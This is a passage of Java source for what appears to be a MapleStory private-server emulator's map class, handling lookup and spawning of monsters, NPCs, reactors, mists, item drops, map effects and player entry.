newController = chr;
}
}
} finally {
charactersLock.readLock().unlock();
}
if (newController != null) {
if (monster.isFirstAttack()) {
newController.controlMonster(monster, true);
monster.setControllerHasAggro(true);
monster.setControllerKnowsAboutAggro(true);
} else {
newController.controlMonster(monster, false);
}
}
}
public final MapleMapObject getMapObject(int oid, MapleMapObjectType type) {
mapobjectlocks.get(type).readLock().lock();
try {
return mapobjects.get(type).get(oid);
} finally {
mapobjectlocks.get(type).readLock().unlock();
}
}
public final boolean containsNPC(int npcid) {
mapobjectlocks.get(MapleMapObjectType.NPC).readLock().lock();
try {
Iterator<MapleMapObject> itr = mapobjects.get(MapleMapObjectType.NPC).values().iterator();
while (itr.hasNext()) {
MapleNPC n = (MapleNPC) itr.next();
if (n.getId() == npcid) {
return true;
}
}
return false;
} finally {
mapobjectlocks.get(MapleMapObjectType.NPC).readLock().unlock();
}
}
public MapleNPC getNPCById(int id) {
mapobjectlocks.get(MapleMapObjectType.NPC).readLock().lock();
try {
Iterator<MapleMapObject> itr = mapobjects.get(MapleMapObjectType.NPC).values().iterator();
while (itr.hasNext()) {
MapleNPC n = (MapleNPC) itr.next();
if (n.getId() == id) {
return n;
}
}
return null;
} finally {
mapobjectlocks.get(MapleMapObjectType.NPC).readLock().unlock();
}
}
public MapleMonster getMonsterById(int id) {
mapobjectlocks.get(MapleMapObjectType.MONSTER).readLock().lock();
try {
MapleMonster ret = null;
Iterator<MapleMapObject> itr = mapobjects.get(MapleMapObjectType.MONSTER).values().iterator();
while (itr.hasNext()) {
MapleMonster n = (MapleMonster) itr.next();
if (n.getId() == id) {
ret = n;
break;
}
}
return ret;
} finally {
mapobjectlocks.get(MapleMapObjectType.MONSTER).readLock().unlock();
}
}
public int countMonsterById(int id) {
mapobjectlocks.get(MapleMapObjectType.MONSTER).readLock().lock();
try {
int ret = 0;
Iterator<MapleMapObject> itr = mapobjects.get(MapleMapObjectType.MONSTER).values().iterator();
while (itr.hasNext()) {
MapleMonster n = (MapleMonster) itr.next();
if (n.getId() == id) {
ret++;
}
}
return ret;
} finally {
mapobjectlocks.get(MapleMapObjectType.MONSTER).readLock().unlock();
}
}
public MapleReactor getReactorById(int id) {
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().lock();
try {
MapleReactor ret = null;
Iterator<MapleMapObject> itr = mapobjects.get(MapleMapObjectType.REACTOR).values().iterator();
while (itr.hasNext()) {
MapleReactor n = (MapleReactor) itr.next();
if (n.getReactorId() == id) {
ret = n;
break;
}
}
return ret;
} finally {
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().unlock();
}
}
/**
* returns a monster with the given oid, if no such monster exists returns
* null
*
* @param oid
* @return
*/
public final MapleMonster getMonsterByOid(final int oid) {
MapleMapObject mmo = getMapObject(oid, MapleMapObjectType.MONSTER);
if (mmo == null) {
return null;
}
return (MapleMonster) mmo;
}
public final MapleNPC getNPCByOid(final int oid) {
MapleMapObject mmo = getMapObject(oid, MapleMapObjectType.NPC);
if (mmo == null) {
return null;
}
return (MapleNPC) mmo;
}
public final MapleReactor getReactorByOid(final int oid) {
MapleMapObject mmo = getMapObject(oid, MapleMapObjectType.REACTOR);
if (mmo == null) {
return null;
}
return (MapleReactor) mmo;
}
public final MonsterFamiliar getFamiliarByOid(final int oid) {
MapleMapObject mmo = getMapObject(oid, MapleMapObjectType.FAMILIAR);
if (mmo == null) {
return null;
}
return (MonsterFamiliar) mmo;
}
public MapleMist getMistByChr(int cid, int skillid) {
for (MapleMist mist : getAllMistsThreadsafe()) {
if (mist.getOwnerId() == cid && mist.getSource().getSourceId() == skillid) {
return mist;
}
}
return null;
}
public void removeMist(final MapleMist Mist) {
this.removeMapObject(Mist);
this.broadcastMessage(CField.removeMist(Mist.getObjectId(), false));
}
public void removeSummon(final int summonid) {
MapleSummon summon = (MapleSummon) getMapObject(summonid, MapleMapObjectType.SUMMON);
this.removeMapObject(summon);
this.broadcastMessage(SummonPacket.removeSummon(summon, false));
}
public MapleMist getMistByOid(int oid) {
MapleMapObject mmo = getMapObject(oid, MapleMapObjectType.MIST);
if (mmo == null) {
return null;
}
return (MapleMist) mmo;
}
public final MapleReactor getReactorByName(final String name) {
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().lock();
try {
for (MapleMapObject obj : mapobjects.get(MapleMapObjectType.REACTOR).values()) {
MapleReactor mr = ((MapleReactor) obj);
if (mr.getName().equalsIgnoreCase(name)) {
return mr;
}
}
return null;
} finally {
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().unlock();
}
}
public final void spawnNpc(final int id, final Point pos) {
final MapleNPC npc = MapleLifeFactory.getNPC(id);
npc.setPosition(pos);
npc.setCy(pos.y);
npc.setRx0(pos.x + 50);
npc.setRx1(pos.x - 50);
npc.setFh(getFootholds().findBelow(pos, false).getId());
npc.setCustom(true);
addMapObject(npc);
broadcastMessage(NPCPacket.spawnNPC(npc, true));
}
public final void spawnNpcForPlayer(MapleClient c, final int id, final Point pos) {
final MapleNPC npc = MapleLifeFactory.getNPC(id);
npc.setPosition(pos);
npc.setCy(pos.y);
npc.setRx0(pos.x + 50);
npc.setRx1(pos.x - 50);
npc.setFh(getFootholds().findBelow(pos, false).getId());
npc.setCustom(true);
addMapObject(npc);
c.getSession().write(NPCPacket.spawnNPC(npc, true));
}
public final void removeNpc(final int npcid) {
mapobjectlocks.get(MapleMapObjectType.NPC).writeLock().lock();
try {
Iterator<MapleMapObject> itr = mapobjects.get(MapleMapObjectType.NPC).values().iterator();
while (itr.hasNext()) {
MapleNPC npc = (MapleNPC) itr.next();
if (npc.isCustom() && (npcid == -1 || npc.getId() == npcid)) {
broadcastMessage(NPCPacket.removeNPCController(npc.getObjectId()));
broadcastMessage(NPCPacket.removeNPC(npc.getObjectId()));
itr.remove();
}
}
} finally {
mapobjectlocks.get(MapleMapObjectType.NPC).writeLock().unlock();
}
}
public final void hideNpc(final int npcid) {
mapobjectlocks.get(MapleMapObjectType.NPC).readLock().lock();
try {
Iterator<MapleMapObject> itr = mapobjects.get(MapleMapObjectType.NPC).values().iterator();
while (itr.hasNext()) {
MapleNPC npc = (MapleNPC) itr.next();
if (npcid == -1 || npc.getId() == npcid) {
broadcastMessage(NPCPacket.removeNPCController(npc.getObjectId()));
broadcastMessage(NPCPacket.removeNPC(npc.getObjectId()));
}
}
} finally {
mapobjectlocks.get(MapleMapObjectType.NPC).readLock().unlock();
}
}
public final void hideNpc(MapleClient c, final int npcid) {
mapobjectlocks.get(MapleMapObjectType.NPC).readLock().lock();
try {
Iterator<MapleMapObject> itr = mapobjects.get(MapleMapObjectType.NPC).values().iterator();
while (itr.hasNext()) {
MapleNPC npc = (MapleNPC) itr.next();
if (npcid == -1 || npc.getId() == npcid) {
c.getSession().write(NPCPacket.removeNPCController(npc.getObjectId()));
c.getSession().write(NPCPacket.removeNPC(npc.getObjectId()));
}
}
} finally {
mapobjectlocks.get(MapleMapObjectType.NPC).readLock().unlock();
}
}
public final void spawnReactorOnGroundBelow(final MapleReactor mob, final Point pos) {
mob.setPosition(pos); //reactors dont need FH lol
mob.setCustom(true);
spawnReactor(mob);
}
public final void spawnMonster_sSack(final MapleMonster mob, final Point pos, final int spawnType) {
mob.setPosition(calcPointBelow(new Point(pos.x, pos.y - 1)));
spawnMonster(mob, spawnType);
}
public final void spawnMonsterOnGroundBelow(final MapleMonster mob, final Point pos) {
spawnMonster_sSack(mob, pos, -2);
}
public final int spawnMonsterWithEffectBelow(final MapleMonster mob, final Point pos, final int effect) {
final Point spos = calcPointBelow(new Point(pos.x, pos.y - 1));
return spawnMonsterWithEffect(mob, effect, spos);
}
public final void spawnZakum(final int x, final int y) {
final Point pos = new Point(x, y);
final MapleMonster mainb = MapleLifeFactory.getMonster(8800000);
final Point spos = calcPointBelow(new Point(pos.x, pos.y - 1));
mainb.setPosition(spos);
mainb.setFake(true);
// Might be possible to use the map object for reference in future.
spawnFakeMonster(mainb);
final int[] zakpart = {8800003, 8800004, 8800005, 8800006, 8800007,
8800008, 8800009, 8800010};
for (final int i : zakpart) {
final MapleMonster part = MapleLifeFactory.getMonster(i);
part.setPosition(spos);
spawnMonster(part, -2);
}
if (squadSchedule != null) {
cancelSquadSchedule(false);
}
}
public final void spawnChaosZakum(final int x, final int y) {
final Point pos = new Point(x, y);
final MapleMonster mainb = MapleLifeFactory.getMonster(8800100);
final Point spos = calcPointBelow(new Point(pos.x, pos.y - 1));
mainb.setPosition(spos);
mainb.setFake(true);
// Might be possible to use the map object for reference in future.
spawnFakeMonster(mainb);
final int[] zakpart = {8800103, 8800104, 8800105, 8800106, 8800107,
8800108, 8800109, 8800110};
for (final int i : zakpart) {
final MapleMonster part = MapleLifeFactory.getMonster(i);
part.setPosition(spos);
spawnMonster(part, -2);
}
if (squadSchedule != null) {
cancelSquadSchedule(false);
}
}
public final void spawnSimpleZakum(final int x, final int y) {
final Point pos = new Point(x, y);
final MapleMonster mainb = MapleLifeFactory.getMonster(8800020);
final Point spos = calcPointBelow(new Point(pos.x, pos.y - 1));
mainb.setPosition(spos);
mainb.setFake(true);
// Might be possible to use the map object for reference in future.
spawnFakeMonster(mainb);
final int[] zakpart = {8800023, 8800024, 8800025, 8800026, 8800027,
8800028, 8800029, 8800030};
for (final int i : zakpart) {
final MapleMonster part = MapleLifeFactory.getMonster(i);
part.setPosition(spos);
spawnMonster(part, -2);
}
if (squadSchedule != null) {
cancelSquadSchedule(false);
}
}
public final void spawnFakeMonsterOnGroundBelow(final MapleMonster mob, final Point pos) {
Point spos = calcPointBelow(new Point(pos.x, pos.y - 1));
spos.y -= 1;
mob.setPosition(spos);
spawnFakeMonster(mob);
}
private void checkRemoveAfter(final MapleMonster monster) {
final int ra = monster.getStats().getRemoveAfter();
if (ra > 0 && monster.getLinkCID() <= 0) {
monster.registerKill(ra * 1000);
}
}
public final void spawnRevives(final MapleMonster monster, final int oid) {
monster.setMap(this);
checkRemoveAfter(monster);
monster.setLinkOid(oid);
spawnAndAddRangedMapObject(monster, new DelayedPacketCreation() {
@Override
public final void sendPackets(MapleClient c) {
if (GameConstants.isAzwanMap(c.getPlayer().getMapId())) {
c.getSession().write(MobPacket.spawnMonster(monster, monster.getStats().getSummonType() <= 1 ? -3 : monster.getStats().getSummonType(), oid, true));
} else {
c.getSession().write(MobPacket.spawnMonster(monster, monster.getStats().getSummonType() <= 1 ? -3 : monster.getStats().getSummonType(), oid, false));
}
}
});
updateMonsterController(monster);
spawnedMonstersOnMap.incrementAndGet();
}
/* public final void spawnMonster(final MapleMonster monster, final int spawnType) {
spawnMonster(monster, spawnType, false);
}
public final void spawnMonster(final MapleMonster monster, final int spawnType, final boolean overwrite) {
monster.setMap(this);
checkRemoveAfter(monster);
spawnAndAddRangedMapObject(monster, new DelayedPacketCreation() {
public final void sendPackets(MapleClient c) {
c.getSession().write(MobPacket.spawnMonster(monster, monster.getStats().getSummonType() <= 1 || monster.getStats().getSummonType() == 27 || overwrite ? spawnType : monster.getStats().getSummonType(), 0));
}
});
updateMonsterController(monster);
spawnedMonstersOnMap.incrementAndGet();
}
*/
public final void spawnMonster(MapleMonster monster, int spawnType) {
spawnMonster(monster, spawnType, false);
}
public final void spawnMonster(final MapleMonster monster, final int spawnType, final boolean overwrite) {
if (this.getId() == 109010100 && monster.getId() != 9300166) {
return;
}
monster.setMap(this);
checkRemoveAfter(monster);
if (monster.getId() == 9300166) {
MapTimer.getInstance().schedule(new Runnable() {
@Override
public void run() {
broadcastMessage(MobPacket.killMonster(monster.getObjectId(), 2, false));
try {
Thread.sleep(500);
} catch (InterruptedException ex) {
System.out.println("Error spawning monster: " + ex);
}
removeMapObject(monster);
}
}, this.getId() == 109010100 ? 1500 /*Bomberman*/ : this.getId() == 910025200 ? 200 /*The Dragon's Shout*/ : 3000);
}
/*if (MoonlightRevamp.MoonlightRevamp) {
MapleMonsterStats stats = MapleLifeFactory.getMonsterStats(monster.getId());
OverrideMonsterStats overrideStats = new OverrideMonsterStats(monster.getHp() / MoonlightRevamp.monsterHpDivision, monster.getMp(), stats.getExp());
monster.setOverrideStats(overrideStats);
//monster.setHp(monster.getHp() / MoonlightRevamp.monsterHpDivision); //Isn't needed because of override stats
stats.setPDRate(stats.isBoss() ? MoonlightRevamp.getBossPDRateMultipy(stats.getPDRate()) : (byte) (stats.getPDRate() + MoonlightRevamp.getPDRateAddition(stats.getPDRate())));
stats.setMDRate(stats.isBoss() ? MoonlightRevamp.getBossMDRateMultipy(stats.getMDRate()) : (byte) (stats.getMDRate() + MoonlightRevamp.getMDRateAddition(stats.getMDRate())));
}*/
spawnAndAddRangedMapObject(monster, new DelayedPacketCreation() {
@Override
public final void sendPackets(MapleClient c) {
if (GameConstants.isAzwanMap(c.getPlayer().getMapId())) {
c.getSession().write(MobPacket.spawnMonster(monster, monster.getStats().getSummonType() <= 1 || monster.getStats().getSummonType() == 27 || overwrite ? spawnType : monster.getStats().getSummonType(), 0, true));
} else {
c.getSession().write(MobPacket.spawnMonster(monster, monster.getStats().getSummonType() <= 1 || monster.getStats().getSummonType() == 27 || overwrite ? spawnType : monster.getStats().getSummonType(), 0, false));
}
}
});
updateMonsterController(monster);
this.spawnedMonstersOnMap.incrementAndGet();
String spawnMsg = null;
switch (monster.getId()) {
case 9300815:
spawnMsg = "伴隨著一陣陰森的感覺,紅寶王出現了.";
break;
}
if (spawnMsg != null) {
broadcastMessage(CWvsContext.broadcastMsg(6, spawnMsg));
}
}
public final int spawnMonsterWithEffect(final MapleMonster monster, final int effect, Point pos) {
try {
monster.setMap(this);
monster.setPosition(pos);
spawnAndAddRangedMapObject(monster, new DelayedPacketCreation() {
@Override
public final void sendPackets(MapleClient c) {
if (GameConstants.isAzwanMap(c.getPlayer().getMapId())) {
c.getSession().write(MobPacket.spawnMonster(monster, effect, 0, true));
} else {
c.getSession().write(MobPacket.spawnMonster(monster, effect, 0, false));
}
}
});
updateMonsterController(monster);
spawnedMonstersOnMap.incrementAndGet();
return monster.getObjectId();
} catch (Exception e) {
return -1;
}
}
public final void spawnFakeMonster(final MapleMonster monster) {
monster.setMap(this);
monster.setFake(true);
spawnAndAddRangedMapObject(monster, new DelayedPacketCreation() {
@Override
public final void sendPackets(MapleClient c) {
if (GameConstants.isAzwanMap(c.getPlayer().getMapId())) {
c.getSession().write(MobPacket.spawnMonster(monster, -4, 0, true));
} else {
c.getSession().write(MobPacket.spawnMonster(monster, -4, 0, false));
}
}
});
updateMonsterController(monster);
spawnedMonstersOnMap.incrementAndGet();
}
public final void spawnReactor(final MapleReactor reactor) {
reactor.setMap(this);
spawnAndAddRangedMapObject(reactor, new DelayedPacketCreation() {
@Override
public final void sendPackets(MapleClient c) {
c.getSession().write(CField.spawnReactor(reactor));
}
});
}
private void respawnReactor(final MapleReactor reactor) {
reactor.setState((byte) 0);
reactor.setAlive(true);
spawnReactor(reactor);
}
public final void spawnRune(final MapleRune rune) {
rune.setMap(this);
spawnAndAddRangedMapObject(rune, new DelayedPacketCreation() {
@Override
public final void sendPackets(MapleClient c) {
rune.sendSpawnData(c);
c.getSession().write(CWvsContext.enableActions());
}
});
}
public final void spawnDoor(final MapleDoor door) {
spawnAndAddRangedMapObject(door, new DelayedPacketCreation() {
@Override
public final void sendPackets(MapleClient c) {
door.sendSpawnData(c);
c.getSession().write(CWvsContext.enableActions());
}
});
}
public final void spawnMechDoor(final MechDoor door) {
spawnAndAddRangedMapObject(door, new DelayedPacketCreation() {
@Override
public final void sendPackets(MapleClient c) {
c.getSession().write(SkillPacket.spawnMechDoor(door, true));
c.getSession().write(CWvsContext.enableActions());
}
});
}
public final void spawnSummon(final MapleSummon summon) {
summon.updateMap(this);
spawnAndAddRangedMapObject(summon, new DelayedPacketCreation() {
@Override
public void sendPackets(MapleClient c) {
if (summon != null && c.getPlayer() != null && (!summon.isChangedMap() || summon.getOwnerId() == c.getPlayer().getId())) {
c.getSession().write(SummonPacket.spawnSummon(summon, true));
}
}
});
}
public final void spawnFamiliar(final MonsterFamiliar familiar, final boolean respawn) {
spawnAndAddRangedMapObject(familiar, new DelayedPacketCreation() {
@Override
public void sendPackets(MapleClient c) {
if (familiar != null && c.getPlayer() != null) {
c.getSession().write(CField.spawnFamiliar(familiar, true, respawn));
}
}
});
}
public final void spawnExtractor(final MapleExtractor ex) {
spawnAndAddRangedMapObject(ex, new DelayedPacketCreation() {
@Override
public void sendPackets(MapleClient c) {
ex.sendSpawnData(c);
}
});
}
public final void spawnMist(final MapleMist mist, final int duration, boolean fake) {
spawnAndAddRangedMapObject(mist, new DelayedPacketCreation() {
@Override
public void sendPackets(MapleClient c) {
mist.sendSpawnData(c);
}
});
final MapTimer tMan = MapTimer.getInstance();
final ScheduledFuture<?> poisonSchedule;
switch (mist.isPoisonMist()) {
case 1:
//poison: 0 = none, 1 = poisonous, 2 = recovery
final MapleCharacter owner = getCharacterById(mist.getOwnerId());
final boolean pvp = owner.inPVP();
poisonSchedule = tMan.register(new Runnable() {
@Override
public void run() {
for (final MapleMapObject mo : getMapObjectsInRect(mist.getBox(), Collections.singletonList(pvp ? MapleMapObjectType.PLAYER : MapleMapObjectType.MONSTER))) {
if (pvp && mist.makeChanceResult() && !((MapleCharacter) mo).hasDOT() && ((MapleCharacter) mo).getId() != mist.getOwnerId()) {
((MapleCharacter) mo).setDOT(mist.getSource().getDOT(), mist.getSourceSkill().getId(), mist.getSkillLevel());
} else if (!pvp && mist.makeChanceResult() && !((MapleMonster) mo).isBuffed(MonsterStatus.POISON)) {
((MapleMonster) mo).applyStatus(owner, new MonsterStatusEffect(MonsterStatus.POISON, 1, mist.getSourceSkill().getId(), null, false), true, duration, true, mist.getSource());
}
}
}
}, 2000, 2500);
break;
case 4:
poisonSchedule = tMan.register(new Runnable() {
@Override
public void run() {
for (final MapleMapObject mo : getMapObjectsInRect(mist.getBox(), Collections.singletonList(MapleMapObjectType.PLAYER))) {
if (mist.makeChanceResult()) {
final MapleCharacter chr = ((MapleCharacter) mo);
chr.addMP((int) (mist.getSource().getX() * (chr.getStat().getMaxMp() / 100.0)));
}
}
}
}, 2000, 2500);
break;
default:
poisonSchedule = null;
break;
}
mist.setPoisonSchedule(poisonSchedule);
mist.setSchedule(tMan.schedule(new Runnable() {
@Override
public void run() {
broadcastMessage(CField.removeMist(mist.getObjectId(), false));
removeMapObject(mist);
if (poisonSchedule != null) {
poisonSchedule.cancel(false);
}
}
}, duration));
}
public final void disappearingItemDrop(final MapleMapObject dropper, final MapleCharacter owner, final Item item, final Point pos) {
final Point droppos = calcDropPos(pos, pos);
final MapleMapItem drop = new MapleMapItem(item, droppos, dropper, owner, (byte) 1, false);
broadcastMessage(CField.dropItemFromMapObject(drop, dropper.getTruePosition(), droppos, (byte) 3), drop.getTruePosition());
}
public final void spawnMesoDrop(final int meso, final Point position, final MapleMapObject dropper, final MapleCharacter owner, final boolean playerDrop, final byte droptype) {
final Point droppos = calcDropPos(position, position);
final MapleMapItem mdrop = new MapleMapItem(meso, droppos, dropper, owner, droptype, playerDrop);
spawnAndAddRangedMapObject(mdrop, new DelayedPacketCreation() {
@Override
public void sendPackets(MapleClient c) {
c.getSession().write(CField.dropItemFromMapObject(mdrop, dropper.getTruePosition(), droppos, (byte) 1));
}
});
if (!everlast) {
mdrop.registerExpire(120000);
if (droptype == 0 || droptype == 1) {
mdrop.registerFFA(30000);
}
}
}
public final void spawnMobMesoDrop(final int meso, final Point position, final MapleMapObject dropper, final MapleCharacter owner, final boolean playerDrop, final byte droptype) {
final MapleMapItem mdrop = new MapleMapItem(meso, position, dropper, owner, droptype, playerDrop);
spawnAndAddRangedMapObject(mdrop, new DelayedPacketCreation() {
@Override
public void sendPackets(MapleClient c) {
c.getSession().write(CField.dropItemFromMapObject(mdrop, dropper.getTruePosition(), position, (byte) 1));
}
});
mdrop.registerExpire(120000);
if (droptype == 0 || droptype == 1) {
mdrop.registerFFA(30000);
}
}
public final void spawnMobDrop(final Item idrop, final Point dropPos, final MapleMonster mob, final MapleCharacter chr, final byte droptype, final int questid) {
final MapleMapItem mdrop = new MapleMapItem(idrop, dropPos, mob, chr, droptype, false, questid);
spawnAndAddRangedMapObject(mdrop, new DelayedPacketCreation() {
@Override
public void sendPackets(MapleClient c) {
if (c != null && c.getPlayer() != null && (questid <= 0 || c.getPlayer().getQuestStatus(questid) == 1) && (idrop.getItemId() / 10000 != 238 || c.getPlayer().getMonsterBook().getLevelByCard(idrop.getItemId()) >= 2) && mob != null && dropPos != null) {
c.getSession().write(CField.dropItemFromMapObject(mdrop, mob.getTruePosition(), dropPos, (byte) 1));
}
}
});
// broadcastMessage(CField.dropItemFromMapObject(mdrop, mob.getTruePosition(), dropPos, (byte) 0));
if (chr.isEquippedSoulWeapon()) {
chr.getClient().getSession().write(CWvsContext.BuffPacket.giveSoulGauge(chr.addgetSoulCount(), chr.getEquippedSoulSkill()));
chr.checkSoulState(false);
}
if (mob.getStats().getWP() > 0 && MapleJob.is神之子(chr.getJob())) {
chr.addWeaponPoint(mob.getStats().getWP());
}
mdrop.registerExpire(120000);
if (droptype == 0 || droptype == 1) {
mdrop.registerFFA(30000);
}
activateItemReactors(mdrop, chr.getClient());
}
public final void spawnRandDrop() {
if (mapid != 910000000 || channel != 1) {
return; //fm, ch1
}
mapobjectlocks.get(MapleMapObjectType.ITEM).readLock().lock();
try {
for (MapleMapObject o : mapobjects.get(MapleMapObjectType.ITEM).values()) {
if (((MapleMapItem) o).isRandDrop()) {
return;
}
}
} finally {
mapobjectlocks.get(MapleMapObjectType.ITEM).readLock().unlock();
}
MapTimer.getInstance().schedule(new Runnable() {
@Override
public void run() {
final Point pos = new Point(Randomizer.nextInt(800) + 531, -806);
final int theItem = Randomizer.nextInt(1000);
int itemid = 0;
if (theItem < 950) { //0-949 = normal, 950-989 = rare, 990-999 = super
itemid = GameConstants.normalDrops[Randomizer.nextInt(GameConstants.normalDrops.length)];
} else if (theItem < 990) {
itemid = GameConstants.rareDrops[Randomizer.nextInt(GameConstants.rareDrops.length)];
} else {
itemid = GameConstants.superDrops[Randomizer.nextInt(GameConstants.superDrops.length)];
}
spawnAutoDrop(itemid, pos);
}
}, 20000);
}
public final void spawnAutoDrop(final int itemid, final Point pos) {
Item idrop = null;
final MapleItemInformationProvider ii = MapleItemInformationProvider.getInstance();
if (GameConstants.getInventoryType(itemid) == MapleInventoryType.EQUIP) {
idrop = ii.randomizeStats((Equip) ii.getEquipById(itemid));
} else {
idrop = new Item(itemid, (byte) 0, (short) 1, (byte) 0);
}
idrop.setGMLog("從自動掉寶中獲得, 地圖:" + this + ", 時間:" + FileoutputUtil.CurrentReadable_Time());
final MapleMapItem mdrop = new MapleMapItem(pos, idrop);
spawnAndAddRangedMapObject(mdrop, new DelayedPacketCreation() {
@Override
public void sendPackets(MapleClient c) {
c.getSession().write(CField.dropItemFromMapObject(mdrop, pos, pos, (byte) 1));
}
});
broadcastMessage(CField.dropItemFromMapObject(mdrop, pos, pos, (byte) 0));
if (itemid / 10000 != 291) {
mdrop.registerExpire(120000);
}
}
public final void spawnItemDrop(final MapleMapObject dropper, final MapleCharacter owner, final Item item, Point pos, final boolean ffaDrop, final boolean playerDrop) {
final Point droppos = calcDropPos(pos, pos);
final MapleMapItem drop = new MapleMapItem(item, droppos, dropper, owner, (byte) 2, playerDrop);
spawnAndAddRangedMapObject(drop, new DelayedPacketCreation() {
@Override
public void sendPackets(MapleClient c) {
c.getSession().write(CField.dropItemFromMapObject(drop, dropper.getTruePosition(), droppos, (byte) 1));
}
});
broadcastMessage(CField.dropItemFromMapObject(drop, dropper.getTruePosition(), droppos, (byte) 0));
if (!everlast) {
drop.registerExpire(120000);
activateItemReactors(drop, owner.getClient());
}
}
private void activateItemReactors(final MapleMapItem drop, final MapleClient c) {
final Item item = drop.getItem();
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().lock();
try {
for (final MapleMapObject o : mapobjects.get(MapleMapObjectType.REACTOR).values()) {
final MapleReactor react = (MapleReactor) o;
if (react.getReactorType() == 100) {
if (item.getItemId() == GameConstants.getCustomReactItem(react.getReactorId(), react.getReactItem().getLeft()) && react.getReactItem().getRight() == item.getQuantity()) {
if (react.getArea().contains(drop.getTruePosition())) {
if (!react.isTimerActive()) {
MapTimer.getInstance().schedule(new ActivateItemReactor(drop, react, c), 5000);
react.setTimerActive(true);
break;
}
}
}
}
}
} finally {
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().unlock();
}
}
public int getItemsSize() {
return mapobjects.get(MapleMapObjectType.ITEM).size();
}
public int getExtractorSize() {
return mapobjects.get(MapleMapObjectType.EXTRACTOR).size();
}
public int getMobsSize() {
return mapobjects.get(MapleMapObjectType.MONSTER).size();
}
public List<MapleMapItem> getAllItems() {
return getAllItemsThreadsafe();
}
public List<MapleMapItem> getAllItemsThreadsafe() {
ArrayList<MapleMapItem> ret = new ArrayList<>();
mapobjectlocks.get(MapleMapObjectType.ITEM).readLock().lock();
try {
for (MapleMapObject mmo : mapobjects.get(MapleMapObjectType.ITEM).values()) {
ret.add((MapleMapItem) mmo);
}
} finally {
mapobjectlocks.get(MapleMapObjectType.ITEM).readLock().unlock();
}
return ret;
}
public Point getPointOfItem(int itemid) {
mapobjectlocks.get(MapleMapObjectType.ITEM).readLock().lock();
try {
for (MapleMapObject mmo : mapobjects.get(MapleMapObjectType.ITEM).values()) {
MapleMapItem mm = ((MapleMapItem) mmo);
if (mm.getItem() != null && mm.getItem().getItemId() == itemid) {
return mm.getPosition();
}
}
} finally {
mapobjectlocks.get(MapleMapObjectType.ITEM).readLock().unlock();
}
return null;
}
public List<MapleMist> getAllMistsThreadsafe() {
ArrayList<MapleMist> ret = new ArrayList<>();
mapobjectlocks.get(MapleMapObjectType.MIST).readLock().lock();
try {
for (MapleMapObject mmo : mapobjects.get(MapleMapObjectType.MIST).values()) {
ret.add((MapleMist) mmo);
}
} finally {
mapobjectlocks.get(MapleMapObjectType.MIST).readLock().unlock();
}
return ret;
}
public final void returnEverLastItem(final MapleCharacter chr) {
for (final MapleMapObject o : getAllItemsThreadsafe()) {
final MapleMapItem item = ((MapleMapItem) o);
if (item.getOwner() == chr.getId()) {
item.setPickedUp(true);
broadcastMessage(CField.removeItemFromMap(item.getObjectId(), 2, chr.getId()), item.getTruePosition());
if (item.getMeso() > 0) {
chr.gainMeso(item.getMeso(), false);
} else {
MapleInventoryManipulator.addFromDrop(chr.getClient(), item.getItem(), false, item.getDropper() instanceof MapleMonster);
}
removeMapObject(item);
}
}
spawnRandDrop();
}
public final void talkMonster(final String msg, final int itemId, final int objectid) {
if (itemId > 0) {
startMapEffect(msg, itemId, false);
}
broadcastMessage(MobPacket.talkMonster(objectid, itemId, msg)); //5120035
broadcastMessage(MobPacket.removeTalkMonster(objectid));
}
public final void startMapEffect(final String msg, final int itemId) {
startMapEffect(msg, itemId, false);
}
public final void startMapEffect(final String msg, final int itemId, final boolean jukebox) {
if (mapEffect != null) {
return;
}
mapEffect = new MapleMapEffect(msg, itemId);
mapEffect.setJukebox(jukebox);
broadcastMessage(mapEffect.makeStartData());
MapTimer.getInstance().schedule(new Runnable() {
@Override
public void run() {
if (mapEffect != null) {
broadcastMessage(mapEffect.makeDestroyData());
mapEffect = null;
}
}
}, jukebox ? 300000 : 30000);
}
public final void startExtendedMapEffect(final String msg, final int itemId) {
broadcastMessage(CField.startMapEffect(msg, itemId, true));
MapTimer.getInstance().schedule(new Runnable() {
@Override
public void run() {
broadcastMessage(CField.removeMapEffect());
broadcastMessage(CField.startMapEffect(msg, itemId, false));
//dont remove mapeffect.
}
}, 60000);
}
public final void startSimpleMapEffect(final String msg, final int itemId) {
broadcastMessage(CField.startMapEffect(msg, itemId, true));
}
public final void startJukebox(final String msg, final int itemId) {
startMapEffect(msg, itemId, true);
}
public final void addPlayer(final MapleCharacter chr) {
mapobjectlocks.get(MapleMapObjectType.PLAYER).writeLock().lock();
try {
mapobjects.get(MapleMapObjectType.PLAYER).put(chr.getObjectId(), chr);
} finally {
mapobjectlocks.get(MapleMapObjectType.PLAYER).writeLock().unlock();
}
charactersLock.writeLock().lock();
try {
characters.add(chr);
} finally {
charactersLock.writeLock().unlock();
}
chr.setChangeTime();
if (GameConstants.isTeamMap(mapid) && !chr.inPVP()) {
chr.setTeam(getAndSwitchTeam() ? 0 : 1);
}
final byte[] packet = CField.spawnPlayerMapobject(chr);
if (!chr.isHidden()) {
broadcastMessage(chr, packet, false);
if (chr.isIntern() && speedRunStart > 0) {
endSpeedRun();
broadcastMessage(CWvsContext.broadcastMsg(5, "The speed run has ended."));
}
broadcastMessage(chr, CField.getEffectSwitch(chr.getId(), chr.getEffectSwitch()), true);
} else {
broadcastGMMessage(chr, packet, false);
broadcastGMMessage(chr, CField.getEffectSwitch(chr.getId(), chr.getEffectSwitch()), true);
}
if (!chr.isClone()) {
if (!onFirstUserEnter.equals("")) {
if (getCharactersSize() == 1) {
MapScriptMethods.startScript_FirstUser(chr.getClient(), onFirstUserEnter);
}
}
if (!onUserEnter.equals("")) {
MapScriptMethods.startScript_User(chr.getClient(), onUserEnter);
}
sendObjectPlacement(chr);
GameConstants.achievementRatio(chr.getClient());
chr.getClient().getSession().write(packet);
//chr.getClient().getSession().write(CField.spawnFlags(nodes.getFlags()));
if (GameConstants.isTeamMap(mapid) && !chr.inPVP()) {
chr.getClient().getSession().write(CField.showEquipEffect(chr.getTeam()));
}
switch (mapid) {
case 809000101:
case 809000201:
chr.getClient().getSession().write(CField.showEquipEffect());
break;
case 689000000:
case 689000010:
chr.getClient().getSession().write(CField.getCaptureFlags(this));
break;
}
}
for (final MaplePet pet : chr.getSummonedPets()) {
pet.setPos(chr.getTruePosition());
